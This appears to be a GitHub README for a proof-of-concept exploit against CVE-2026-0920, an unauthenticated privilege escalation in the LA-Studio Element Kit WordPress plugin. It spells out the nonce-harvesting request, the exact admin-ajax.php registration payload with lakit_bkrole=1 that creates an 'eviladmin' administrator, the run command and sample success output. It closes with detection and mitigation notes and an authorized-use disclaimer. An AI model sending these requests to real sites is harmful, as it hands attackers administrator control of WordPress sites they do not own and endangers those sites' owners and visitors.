k3ystr0k3r/cve-2026-0920Proof-of-concept exploit for CVE-2026-0920, an unauthenticated privilege escalation in LA-Studio Element Kit WordPress plugin, allowing creation of administrator accounts.
A proof-of-concept exploit for CVE-2026-0920, an unauthenticated privilege-escalation vulnerability in the LA-Studio Element Kit WordPress plugin.
The vulnerability allows an unauthenticated attacker to abuse the plugin's registration functionality and create a WordPress account with administrator privileges.
This repository contains a Python proof of concept designed for authorized security research, vulnerability validation, and controlled laboratory environments.
| Property | Value |
|---|---|
| CVE | CVE-2026-0920 |
| Vendor | LA-Studio |
| Product | Element Kit |
| Platform | WordPress |
| Vulnerability | Unauthenticated Privilege Escalation |
| Authentication Required | No |
| CWE | CWE-269 |
| Impact | Administrator account creation |
| PoC | exploit.py |
The vulnerability exists in the plugin's registration functionality, where attacker-controlled registration data can influence the privilege assigned to a newly created WordPress account.
The vulnerable parameter is:
lakit_bkrole
By supplying an elevated role value during registration, an unauthenticated attacker can cause the newly created account to receive WordPress administrator privileges.
LA-Studio Element Kit provides functionality for registering users through an AJAX-based registration handler.
The vulnerable flow exposes a registration mechanism through:
/wp-admin/admin-ajax.php
The request uses the AJAX action:
lakit_ajax
and performs a registration operation using:
{
"action": "register"
}
The security issue occurs because the server-side registration logic does not properly prevent an unauthenticated client from supplying a privileged role value through:
lakit_bkrole=1
An attacker can therefore construct a registration request that results in the creation of a WordPress account with the administrator role.
No existing WordPress account is required to perform the attack.
The PoC performs a three-stage process:
┌──────────────────────┐
│ Bootstrap Endpoint │
│ │
│ Obtain nonce and │
│ plugin information │
└──────────┬───────────┘
│
▼
┌──────────────────────┐
│ Registration Request │
│ │
│ lakit_ajax │
│ action=register │
│ lakit_bkrole=1 │
└──────────┬───────────┘
│
▼
┌──────────────────────┐
│ Verification │
│ │
│ Locate created user │
│ Confirm administrator│
│ role │
└──────────────────────┘
The exploit does not rely solely on the registration response.
Instead, it verifies that the newly created account actually exists and has administrator privileges.
The first request targets:
GET /wp-json/cve-2026-0920/v1/bootstrap HTTP/1.1
Host: target
Accept: application/json
Connection: close
Example:
curl -i http://127.0.0.1:8103/wp-json/cve-2026-0920/v1/bootstrap
A vulnerable laboratory instance may return:
{
"wordpress": "6.5.5",
"lastudio_element_kit": "1.5.6.3",
"ajax_url": "http://127.0.0.1:8103/wp-admin/admin-ajax.php",
"nonce": "577023f674",
"users": [
{
"id": 1,
"user_login": "admin",
"user_email": "[email protected]",
"roles": [
"administrator"
]
}
]
}
The PoC extracts the nonce from:
"nonce": "577023f674"
The nonce is then supplied to the registration request.
The bootstrap response can also expose the currently registered users, which allows the PoC to compare the user list before and after exploitation.
The PoC sends the registration request to:
/wp-admin/admin-ajax.php
The request uses:
action=lakit_ajax
with a nested registration action:
action=register
A representative request is:
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: 127.0.0.1:8103
Content-Type: application/x-www-form-urlencoded
Accept: application/json
Connection: close
action=lakit_ajax&_nonce=577023f674&actions={"cve_2026_0920":{"action":"register","data":{"lakit_field_log":"yes","lakit_field_pwd":"yes","lakit_field_cpwd":"yes","username":"eviladmin","email":"[email protected]","password":"Passw0rd!","password-confirm":"Passw0rd!","lakit_bkrole":"1"}}}
The relevant registration data is:
{
"username": "eviladmin",
"email": "[email protected]",
"password": "Passw0rd!",
"password-confirm": "Passw0rd!",
"lakit_bkrole": "1"
}
The security-sensitive parameter is:
lakit_bkrole=1
The request is performed without an authenticated WordPress session.
A successful registration request returns an HTTP 200 OK response.
Example:
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
The JSON response is structured similarly to:
{
"success": true,
"data": {
"responses": {
"cve_2026_0920": {
"success": true,
"code": 200,
"data": {
"type": "success",
"message": "Your account was created successfully. Your login details have been sent to your email address."
}
}
}
}
}
The PoC reports:
[+] User creation appears successful.
However, the PoC does not consider this response by itself sufficient proof of privilege escalation.
The account is verified in the next stage.
After registration, the PoC requests the bootstrap endpoint again:
GET /wp-json/cve-2026-0920/v1/bootstrap HTTP/1.1
Host: 127.0.0.1:8103
Accept: application/json
Connection: close
The response now contains the newly created account.
Example:
{
"wordpress": "6.5.5",
"lastudio_element_kit": "1.5.6.3",
"ajax_url": "http://127.0.0.1:8103/wp-admin/admin-ajax.php",
"nonce": "577023f674",
"users": [
{
"id": 1,
"user_login": "admin",
"user_email": "[email protected]",
"roles": [
"administrator"
]
},
{
"id": 2,
"user_login": "eviladmin",
"user_email": "[email protected]",
"roles": [
"administrator"
]
}
]
}
The critical evidence is:
{
"user_login": "eviladmin",
"roles": [
"administrator"
]
}
This confirms that the attacker-controlled account was created with administrator privileges.
A normal unauthenticated registration process should create an account with a restricted role such as:
subscriber
The client should not be trusted to select a privileged WordPress role.
The vulnerable flow effectively allows:
Unauthenticated attacker
|
v
Registration endpoint
|
v
Attacker-controlled role parameter
|
v
WordPress user creation
|
v
administrator
This crosses the intended privilege boundary without requiring prior authentication.
The PoC requires:
Python 3
Network access to the target
A vulnerable LA-Studio Element Kit installation
No WordPress credentials are required.
Run the exploit using the target address and port:
python exploit.py -t 127.0.0.1 -p 8103
The syntax is:
python exploit.py -t <target> -p <port>
For example:
python exploit.py -t 127.0.0.1 -p 8103
A successful exploitation run looks like:
Coded By: K3ysTr0K3R
CVE-2026-0920 - LA-Studio Element Kit / Unauthenticated Privilege Escalation
Target: http://127.0.0.1:8103
[*] Creating user: eviladmin / [email protected]
[+] Nonce obtained: 577023f674
[*] Current users: admin
[+] User creation appears successful.
[+] User 'eviladmin' found. Roles: ['administrator']
[+] Confirmed administrator privilege!
[+] Exploit successful! You can now log in to the WordPress admin with:
URL: http://127.0.0.1:8103/wp-admin
User: eviladmin
Pass: Passw0rd!
The important verification stages are:
[+] User creation appears successful.
followed by:
[+] User 'eviladmin' found. Roles: ['administrator']
and finally:
[+] Confirmed administrator privilege!
The final message indicates that the PoC has verified the privilege escalation rather than merely receiving a successful HTTP response.
The complete PoC execution can be summarized as:
1. Target specified
|
v
2. Bootstrap endpoint requested
|
v
3. Registration nonce extracted
|
v
4. Existing users enumerated
|
v
5. Malicious registration request submitted
|
v
6. New account created
|
v
7. Bootstrap endpoint queried again
|
v
8. New account located
|
v
9. Account role checked
|
v
10. administrator privilege confirmed
GET /wp-json/cve-2026-0920/v1/bootstrap
Purpose:
- Identify the plugin
- Obtain the nonce
- Obtain the registration endpoint
- Record existing users
POST /wp-admin/admin-ajax.php
Important parameters:
action=lakit_ajax
_nonce=<nonce>
actions=<registration JSON>
Registration data:
username=<attacker-controlled username>
email=<attacker-controlled email>
password=<attacker-controlled password>
password-confirm=<attacker-controlled password>
lakit_bkrole=1
Purpose:
Create the attacker-controlled account.
GET /wp-json/cve-2026-0920/v1/bootstrap
Purpose:
- Confirm the account exists
- Inspect the account's role
- Verify administrator privileges
Successful exploitation is confirmed when the response contains the generated account with:
"roles": [
"administrator"
]
Successful exploitation gives an unauthenticated attacker a WordPress administrator account.
Depending on the WordPress installation, administrator access can allow an attacker to:
- Modify site content
- Create additional privileged accounts
- Modify plugins
- Modify themes
- Change WordPress settings
- Access privileged administrative functionality
- Modify application data
- Potentially execute server-side code through available WordPress functionality
The final impact depends on the hosting configuration, enabled plugins, WordPress security controls, and available administrative functionality.
Defenders should monitor for unexpected requests involving:
/wp-admin/admin-ajax.php
combined with:
action=lakit_ajax
and registration requests containing:
lakit_bkrole
Unexpected WordPress administrator accounts should also be investigated.
A particularly useful defensive check is to audit recently created accounts and compare their timestamps and roles against legitimate administrative activity.
The primary mitigation is to update LA-Studio Element Kit to a version containing the security fix.
Administrators should also:
- Review existing administrator accounts
- Remove unauthorized accounts
- Audit recent WordPress user creation
- Monitor suspicious admin-ajax requests
- Restrict unnecessary exposure of WordPress administrative functionality
- Keep WordPress and installed plugins up to date
If compromise is suspected, rotate affected WordPress credentials and investigate for additional unauthorized modifications.
The PoC was tested in a controlled laboratory environment with:
WordPress: 6.5.5
LA-Studio Element Kit: 1.5.6.3
Web Server: Apache/2.4.59
PHP: 8.2.21
Target: http://127.0.0.1:8103
The successful test resulted in:
User: eviladmin
Role: administrator
This project is provided for authorized security research, vulnerability validation, and educational laboratory use.
Only test systems that you own or have explicit permission to assess.
Do not use this PoC against systems without authorization.